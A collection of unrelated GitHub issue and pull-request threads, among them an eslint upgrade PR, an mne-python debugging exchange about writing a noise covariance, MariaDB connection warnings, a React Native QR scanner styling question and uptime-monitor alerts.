9682d66 fix: switch grapheme-splitter to graphemer (#17160) (fisker Cheung)

Documentation

7709b14 docs: Update README (GitHub Actions Bot)
7f183e0 docs: Update triage process description (#17157) (Nicholas C. Zakas)
b68346b docs: fix license to reflect relicensing of jshint (#17165) (Stefan Bischof)

Chores

f43216a chore: upgrade @ eslint/js@8.41.0 (#17200) (Milos Djermanovic)
95c3007 chore: package.json update for @ eslint/js release (ESLint Jenkins)
ddc5291 chore: don't use deprecated context methods in ast-utils tests (#17194) (Milos Djermanovic)
b1516db chore: Fix return type of findFlatConfigFile (#17161) (Milos Djermanovic)
918b0fd perf: Store indent descriptors in a plain array (#17148) (Francesco Trotta)
4caa344 refactor: locateConfigFileToUse returns an Error object (#17159) (唯然)

    from eslint GitHub release notes

Commit messages

Package name: eslint

96ad0db 8.42.0
40b34af Build: changelog update for 8.42.0
6ca5b7c chore: upgrade @ eslint/js@8.42.0 (#17236)
67fc5e7 chore: package.json update for @ eslint/js release
0892412 refactor: remove `Identifier` listener in no-irregular-whitespace (#17235)
a589636 fix: Config with `ignores` and without `files` should not always apply (#17181)
01d7142 docs: Update README
f67d298 test: Add `FlatESLint` tests with missing config files (#17164)
e5182b7 docs: Update README
c4fad17 fix: Correct ignore message for "node_modules" subfolders (#17217)
5b68d51 chore: Fix `fixedsize` attribute in code path analysis DOT debug output (#17202)
b8448ff feat: correct no-useless-return behaviour in try statements (#16996)
37432f2 chore: update descriptions in key-spacing tests (#17195)

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Codecov Report
Patch and project coverage have no change.

Comparison is base (bc23a05) 100.00% compared to head (9881f7b) 100.00%.

Additional details and impacted files
@@            Coverage Diff            @@
##            master       #73   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            1         1
  Lines          126       126
  Branches        11        11
=========================================
  Hits           126       126

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

authors: codecov-commenter mmomtchev

repo: mmomtchev/documentation-polyglot

license: ISC


text:
warning "Aborted connection .. to db: '...' user: '...' host: '10.1.156.63' (Got an error reading communication packets)

Kubernetes version: microk8s v1.26.1
mariadb-operator version: latest
Install method: helm
Install flavour: minimal
Hi, when I connect an application (fireflyiii) sometimes the warning "Aborted connection .. to db: '...' user: '...' host: '10.1.156.63' (Got an error reading communication packets)" appears. The application does not receive the expected data in that case.
Thank you for any help.

According to this, raising max_allowed_packet most likely fixes this issue.
Specifying a custom my.cnf, and therefore max_allowed_packet, will be possible when this feature is implemented in the next release:

https://github.com/mmontes11/mariadb-operator/issues/51

Will keep you in the loop

thank you for your suggestion @mmontes11
it seems like the problem surfaces when you have hugepages enabled, on a cluster without hugepages it works like a charm.

Hey @daniva6  !
The custom my.cnf feature has been eleased in the v0.0.9, make sure you update:

https://github.com/mmontes11/mariadb-operator/releases/tag/v0.0.9
https://github.com/mmontes11/mariadb-operator/releases/tag/helm-chart-0.9.0

This is something that can potentially fix the current issue. To do so, specify a custom my.cnf with the max_allowed_packet param, like in this example:

https://github.com/mmontes11/mariadb-operator/blob/main/config/samples/mariadb_v1alpha1_mariadb.yaml#L31

Closing! Thanks for contributing to mariadb-operator


text:
optimize code representations

Codes and lists of codes are both common Prolog data structures.  Create internal representations which optimize for this use case.  These representations will occupy less memory (the bottleneck in most benchmarks).
Make a Code type which implements the Number interface.  It should just be a rune under the hood.  The current implementation for integers requires a pointer to a struct which wraps a bool and a slice.  A Code type would also be helpful for representing small integers, which are very common in real world code.
Make a CodeList which implements the Callable interface.  It should just be a []rune under the hood.  Unification with other list terms returns a slice where possible.  The current implementation for code lists requires a linked list of terms which adds substantial memory overhead.

Are you still working on this / have you done any progress?
I've written some helper functions for more compact printing of lists and strings. If you are interested, I could put it into a pull request.

Are you still working on this / have you made any progress?

No.  I haven't worked on this issue in quite a while and probably won't return to it in the foreseeable future.

I've written some helper functions for more compact printing of lists and strings. If you are interested, I could put it into a pull request.

Yes please.  I've very interested in seeing pull requests.

authors: least-olegs mndrix

repo: mndrix/golog


text:
Some font colors in the dark theme are not readable

https://mne.tools/stable/auto_tutorials/preprocessing/35_artifact_correction_regression.html#references

Also, as seen in the Eyetracking tutorial:

working on this right now

Also, as seen in the Eyetracking tutorial:

Ha, I think this was one of those "we'll fix it later" bits back when we merged my revised HTML reprs. I'll take full blame for this one; however I won't have time to look into this before September or so. But happy to test on macOS if @drammock can come up with a solution before that

authors: drammock hoechenberger scott-huberty

repo: mne-tools/mne-python


text:
Error writing noise covariance

code:
noiseCov = compute_covariance(epochsList, tmin=None, tmax=0, method='shrunk',return_estimators=False, verbose=True, n_jobs=1,projs=projList)
mne.write_cov(subjectDirectory + URSI + '/' + URSI + '_' + testName + '-cov.fif', noiseCov)
error:
mne.write_cov(subjectDirectory + URSI + '/' + URSI + '_' + testName + '-cov.fif', noiseCov)
File "/usr/local/lib/python2.7/dist-packages/mne/cov.py", line 1179, in write_cov
  cov.save(fname)
File "/usr/local/lib/python2.7/dist-packages/mne/cov.py", line 152, in save
  raise inst
TypeError: list indices must be integers, not str

That's a weird one. Can you try writing the covariance to HDF5 with mne.externals.h5io.write_hdf5('test.h5', noiseCov) and uploading the result somewhere? If that works it's an easy way to debug and figure out what's wrong with the object.
Are you on latest master or 0.13?

When trying to write hdf5 i got the following:
Traceback (most recent call last):
File "pythonScripts/pipeline.py", line 410, in <module>
main()
File "pythonScripts/pipeline.py", line 349, in main
mne.externals.h5io.write_hdf5('test.h5', noiseCov)
File "/usr/local/lib/python2.7/dist-packages/mne/externals/h5io/_h5io.py", line 106, in write_hdf5     cleanup_data=cleanup_data, slash=slash, title=title)
File "/usr/local/lib/python2.7/dist-packages/mne/externals/h5io/_h5io.py", line 137, in _triage_write     where + '["%s"]' % key, cleanup_data=cleanup_data, slash=slash)
File "/usr/local/lib/python2.7/dist-packages/mne/externals/h5io/_h5io.py", line 206, in _triage_write     raise TypeError(err_str)
TypeError: unsupported type <class 'mne.cov._ShrunkCovariance'> (in <class 'mne.cov.Covariance'>["estimator"])
I am using 0.14.git

Okay let's try something else. I just pushed a commit that should give us a better traceback. Can you update to latest master, try running your code again, and paste the new, improved traceback?

pretty sure this is exactly the same
File "pipeline.py", line 413, in <module>
main()
File "pipeline.py", line 352, in main
mne.externals.h5io.write_hdf5('test.h5', noiseCov)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/externals/h5io/_h5io.py", line 106, in write_hdf5
cleanup_data=cleanup_data, slash=slash, title=title)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/externals/h5io/_h5io.py", line 137, in _triage_write
where + '["%s"]' % key, cleanup_data=cleanup_data, slash=slash)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/externals/h5io/_h5io.py", line 206, in _triage_write
raise TypeError(err_str)
TypeError: unsupported type <class 'mne.cov._ShrunkCovariance'> (in <class 'mne.cov.Covariance'>["estimator"])

Ahh sorry, I mean retry the cov.save

... or write_cov

Traceback (most recent call last):
File "pipeline.py", line 414, in <module>
main()
File "pipeline.py", line 353, in main
mne.write_cov(subjectDirectory + URSI + '/' + URSI + '_' + testName + '-cov.fif', noiseCov)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/cov.py", line 1189, in write_cov
cov.save(fname)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/cov.py", line 147, in save
_write_cov(fid, self)
File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/cov.py", line 1805, in _write_cov
_write_proj(fid, cov['projs']) File "/na/homes/wcollishaw/pythonScripts/mne-python/mne/io/proj.py", line 405, in _write_proj write_int(fid, FIFF.FIFF_NCHAN, proj['data']['ncol']) TypeError: list indices must be integers, not str`

So there is something weird about your cov['projs'], which suggests there is something weird about epochs.info['projs']. I can get something similar with a nonsensical call:
>>> mne.write_proj('foo', 'bar')
<stdin>:1: RuntimeWarning: This filename (foo) does not conform to MNE naming conventions. All projection files should end with -proj.fif or -proj.fif.gz
This filename (foo) does not conform to MNE naming conventions. All projection files should end with -proj.fif or -proj.fif.gz
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "mne/proj.py", line 66, in write_proj
    io.proj._write_proj(fid, projs)
  File "mne/io/proj.py", line 405, in _write_proj
    write_int(fid, FIFF.FIFF_NCHAN, proj['data']['ncol'])
TypeError: string indices must be integers, not str

What is your epochs.info['projs']?
Do you get an error with mne.write_proj('test-proj.fif', epochs.info['projs'])? If so, how did you create your projectors? What raw data format are you using (FIF, CTF, etc.)?

... oh I guess there might be something weird about projList. What is projList? Can you successfully do mne.write_projs('test-proj.fif', projList)?

When trying to write projList i get the same error
projList is a list of projectors
projList = []
projList.append(mne.read_proj(file))
I tried to write_proj for a single projector and it worked.
in the documentation it states:
projs : list of Projection | None (default None)
List of projectors to use in covariance calculation, or None to indicate that the projectors from the epochs should be inherited. If None, then projectors from all epochs must match.
projs = list of projections.
Am I using it incorrectly?

You want a list of projectors, so projList.extend(mne.read_proj(...)) because read_proj returns a list itself. What you currently create is a list containing a list containing projectors.

(we should probably add a check for this in the code to prevent this problem)

So, I had a list of list of projectors, when i needed a list of projectors. I love data structures!
Using extend I was able to write_proj, will try recalculate the noise_cov and let you know my progress.
Thanks for all the prompt responses!

No problem, fingers crossed it works this time...

It worked! Thank you for the help!

No problem. I'll re-title this to make it clear that we should raise an error if projs_list is not a list of projs


text:
VIZ: Add a plot method to the digitization class

As discussed with @massich in #6369(comment), we could review the visualization code related to digitization and add a plot() method to the new Digitization class.

maybe dig.plot() could just reuse the plot_alignment function?

Exactly what I had in mind!

my idea was to do a first_time_issue out of it. But never mind, I was wrong. Among other things, there are circular dependencies that make it not suited for a newcomer. @GuillaumeFavelier you can take it, or tell me how you want the visualization part and I can push in your PR, etc.

My bad, I didn't know we had such a tag @massich . I will take it as I already started

authors: GuillaumeFavelier agramfort massich


text:
MRG, ENH: Allow pick_ori="vector" with fixed ori inv

One advantage of plot_vector_source_estimates is that the arrows + glass brain represent the true geometry of the source space better than an inflated view. It would be nice to be able to use this function, even if you are working with fixed orientations. This PR enables pick_ori='vector' with fixed-orientation inverses.

Failures are unrelated (Azure timeout and OSX download failure)

can you add this to documentation? update an example and share a link
in artifact? thanks

https://19360-1301584-gh.circle-artifacts.com/0/dev/auto_examples/inverse/plot_vector_mne_solution.html#sphx-glr-auto-examples-inverse-plot-vector-mne-solution-py

authors: agramfort larsoner


text:
RFC: Create SECURITY.md

this is related to our community profile

[x] direct security reports to group dev email address
[x] the release process wiki should be edited to mention that  this file would need to get updated every time a release is made
[ ] decide whether SECURITY.md is ignored or added to the manifest

Sorry forgot to submit my comments from yesterday, just did it and one was outdated.

Thanks @drammock

Whoops, missed the manifest. I would say add it, why not. Feel free to add to #8365

authors: drammock larsoner


text:
Custom transparent top content view

The library is awesome functionality wise. It would be even more cooler if we can make the topcontent of the view transparent just like the bottom one.
For example, a cross on top left corner to close the window or some text on the topcontent.
What's happening?

I've already tried achieving this but it's very difficult to style it. Also, i've heard it's not possible to do this using this library. An update on this would be really appreciated.
Also, the QR view doesn't take up the entire space as that of the flex. It leaves a strip at the bottom of the QR view on some phones. Making it bit difficult to manage the component below it, if they have to be designed in a specific way.
How can it be reproduced?

Build details?

I was able to achieve this with following:
`<QRCodeScanner
onRead={onSuccess}
showMarker={true}
cameraStyle={{ flex: 1, height: '100%' }}
topViewStyle={{ flex: 0, height: 0 }}
bottomViewStyle={{ flex: 0, height: 0 }}
cameraContainerStyle={{ flex: 1, height: '100%', marginTop: 0, marginBottom: 0 }}
/>
        <View style={styles.topView}>
            <View style={styles.row1}>
                 <Icon name="close" size={26} color="#FFF" />
                 <MyText style={styles.centerText}> Scan QR Code </MyText>
                 <View />
             </View>
        </View>`

`topView: {
width: '100%',
position: 'absolute',
top: 5,
paddingHorizontal: 20,
paddingTop: 10
},
row1: {
    flexDirection: 'row',
    justifyContent: 'space-between',
    alignItems: 'center',
  },

centerText: {
    fontSize: 18,
    color: '#FFF',
    fontWeight: 'bold',
    marginRight: 20
}`

authors: AxayDixit Subiyel

repo: moaazsidat/react-native-qrcode-scanner


text:
🛑 PizzaPiedra Web is down

In f3f2f69, PizzaPiedra Web (https://pizzapiedra.com.uy) was down:

HTTP code: 0
Response time: 0 ms

Resolved: PizzaPiedra Web is back up in 5de8ce3.

repo: mobilitysol/monitorweb


text:
🛑 Mobility Solutions Web is down

In a35f50c, Mobility Solutions Web (https://mobilitysol.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Mobility Solutions Web is back up in 01efa13.


text:
Why so much CPU time?

It seems that all Angular date pickers I try seem to be CPU hogs. This one is a bit better than the official Bootstrap Angular one, but still:

Is there any way to avoid this?  It really adds up when you have a few pickers on a few tabs.

I'll try and lower it

Checkout commit 25cb847 for the adjustments you require. Check the changelog for more info.

authors: RichardJECooke mobinni

repo: mobinni/material-date-picker


text:
Uncaught ReferenceError: exports is not defined

Hi, When I updated the mobx-react version to 4.3.1 from 4.2.2, I got this error
commons.bundle.e230ea63.js:1 Uncaught ReferenceError: exports is not defined
    at Object.<anonymous> (commons.bundle.e230ea63.js:1)
    at t (commons.bundle.e230ea63.js:1)
    at Object.<anonymous> (commons.bundle.e230ea63.js:1)
    at t (commons.bundle.e230ea63.js:1)
    at commons.bundle.e230ea63.js:1
    at commons.bundle.e230ea63.js:1

See #329, 4.3.2 fixes this :)

That's good

authors: Justin-lu mweststrate

repo: mobxjs/mobx-react